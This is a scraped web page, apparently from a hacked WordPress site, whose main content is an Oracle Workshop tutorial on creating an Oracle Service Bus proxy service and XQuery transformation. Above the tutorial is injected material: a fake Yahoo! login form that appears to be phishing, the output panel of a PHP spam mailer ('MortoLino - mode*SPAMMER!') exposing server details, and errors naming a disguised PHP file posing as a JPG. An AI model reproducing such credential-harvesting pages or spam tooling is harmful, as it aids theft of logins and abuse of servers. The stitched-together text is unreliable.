Your World.
Your Way.

Yahoo! makes it easy to enjoy what matters most in your world.

Best in class Yahoo! Mail, breaking local, national and global news, finance, sports, music, movies and more. You get more out of the web, you get more out of life.

Don't have a Yahoo! ID?

Create New Account
               OR               

Sign in with:

Sign in to Yahoo!

Login Form

(e.g. free2rhyme@yahoo.com)


(Uncheck if on a shared computer)

CAPS LOCK is On

Your Yahoo! password is case sensitive

F. MICROSOFT
Microsoft
Nome do Servidor: Linux server24.masterweb.com 2.6.32-5-686-bigmem #1 SMP Sun Sep 23 10:27:25 UTC 2012 i686
Sistema Operacional: Linux
Endereço IP: 203.130.198.33
Software usado: Apache
Email admin:
Safe Mode: 0
Assunto:
MortoLino - mode*SPAMMER!

*Lembrete: texto em HTML
Lista de emails

*Listmail
 
sendmail: Can't send mail: You have exceeded max_mails_per_day limit (250). Please try again later.
Warning: Cannot modify header information - headers already sent by (output started at /home/sloki/user/k0900821/sites/sugihartono.com/www/wp-content/mu-plugins/ProductFile.Jpg.php:1213) in /home/sloki/user/k0900821/sites/sugihartono.com/www/wp-content/mu-plugins/yamain.php on line 44
Oracle Workshop: Create Proxy Service and XQuery Transformation
Home » Middleware » Oracle Workshop for WebLogic: Create Proxy Service and XQuery Transformation

Oracle Workshop for WebLogic: Create Proxy Service and XQuery Transformation

Oracle Service Bus Proxy Service

OSB Proxy Service

OSB Proxy Service (Image from: docs.oracle.com)

Oracle Service Bus proxy services design for managing services, transforming messages, and routing messages through the enterprise services. Oracle Service Bus uses proxy services to route messages between business services (such as enterprise Web services and databases) and service clients (such as presentation applications or other business services).

A proxy service configuration includes its interface, transport configuration (protocol, endpoint), security configuration, and a message flow definition. The message flow definition defines the logic that determines how messages are handled as they flow through the proxy service.

Continue previous tutorial about create WSDL, now we will use WSDL which have been made to build a simple OSB proxy service.

Create Proxy Service

Right click from “Proxy Service” directory choose New → Proxy Service

New Proxy Service

New Proxy Service

Provide file name: SimpleCalculator for this proxy service.

Proxy Service Name

Proxy Service Name

New Tab will be open, let’s focus on sheet “General”. In option Service Type, choose Create New Service WSDL Web Service. Browse for WSDL file SimpleCalculator, and expand via plus (+) tree. Choose SimpleCalculatorServiceSOAP (port).  General sheet will be like bellow picture.

Proxy Service General Configuration

Proxy Service General Configuration

Ignore next sheet and jump to last sheet, Message Flow. Right click One icon in the center of canvas choose Insert Into → Pipeline Pair.

Insert Pipeline Pair

Insert Pipeline Pair

Right click Response Pipeline choose Insert Into → Stage.

Insert Stage

Insert Stage

Right click Stage choose Insert Into → Message Processing → Replace.

Insert Replace Node

Insert Replace Node

Replace action need a XML transformation. We will build a XQuery transformation to transform input param into output param.

Create XQuery Transformation

XQuery transformation maps can describe XML-to-XML, XML to non-XML, and non-XML to XML mappings. First, create folder named “XQuery” under SimpleCalculator. After that, right click XQuery folder and choose New → XQuery Transformation.

Create Xquery Transformation

Create Xquery Transformation

Now supply filename for this object. In this tutorial, the file named SimpleCalculatorAddResponse. The naming should be minimal consist of 3 elements: Project Name, Operation Name, and Request Type (Request / Response).

Xquery Name

Xquery Name

Select source type for the transformation. Expand all node of SimpleCalculatorService.wsdl. Select Node Add and click Add Button placed in the middle. The element will be added to right column.

Xquery Source Type

Xquery Source Type

Select target type for the transformation. Expand all node of SimpleCalculatorService.wsdl. Select Node AddResponse and click Add Button placed in the middle. The element will be added to right column. Then finish the wizard.

Xquery Target Type

Xquery Target Type

A new tab will be opened. Drag node ANumber di the left and drop to node result in the right.

Xquery Transformation

Xquery Transformation

Switch to sheet source, XML transformation will be shown like bellow:


<ns0:AddResponse>
	<result>{ data($add1/ANumber) }</result>
</ns0:AddResponse>

Modify the source by add BNumber, so the source will be like bellow.


<ns0:AddResponse>
	<result>{ data($add1/ANumber) + data($add1/BNumber) }</result>
</ns0:AddResponse>	

Save and switch back to Design sheet. The result will be like bellow:

Xquery Transformation Result

Xquery Transformation Result

Back to Proxy Service Message Flow. Select node Replace, edit the properties with bellow setting:

  • XPath   → . (dot character)
  • In Variable   → body
  • Radio Button   → Replace Node Contents
Replace Properties

Replace Properties

  • Expression   → Follow the link. A new window will be open. Go to tab XQuery Resources, expand body variable in the right,  drag node Add to blank column (binding). Finish the step by click OK.
Xquery Expression Editor

Xquery Expression Editor

Build a simple Proxy Service already finished. Now export project from Oracle Workshop so the resource can be imported to Oracle Service Bus Console. Ensure all tab have been saved, then choose File → Export… Choose Oracle Service Bus – Configuration Jar.

Export Osb

Export Osb

Specify Export Destination Jar File by click browse and then go to target folder location and give file name for the jar. Finish the wizard and jar file will be exported to the location specified.

Export Configuration

Export Configuration

Finally, SimpleCalculator Proxy Service ready to deploy. In the next tutorial, we will deploy proxy service on Oracle Service Bus and testing after deployment.

Incoming search terms: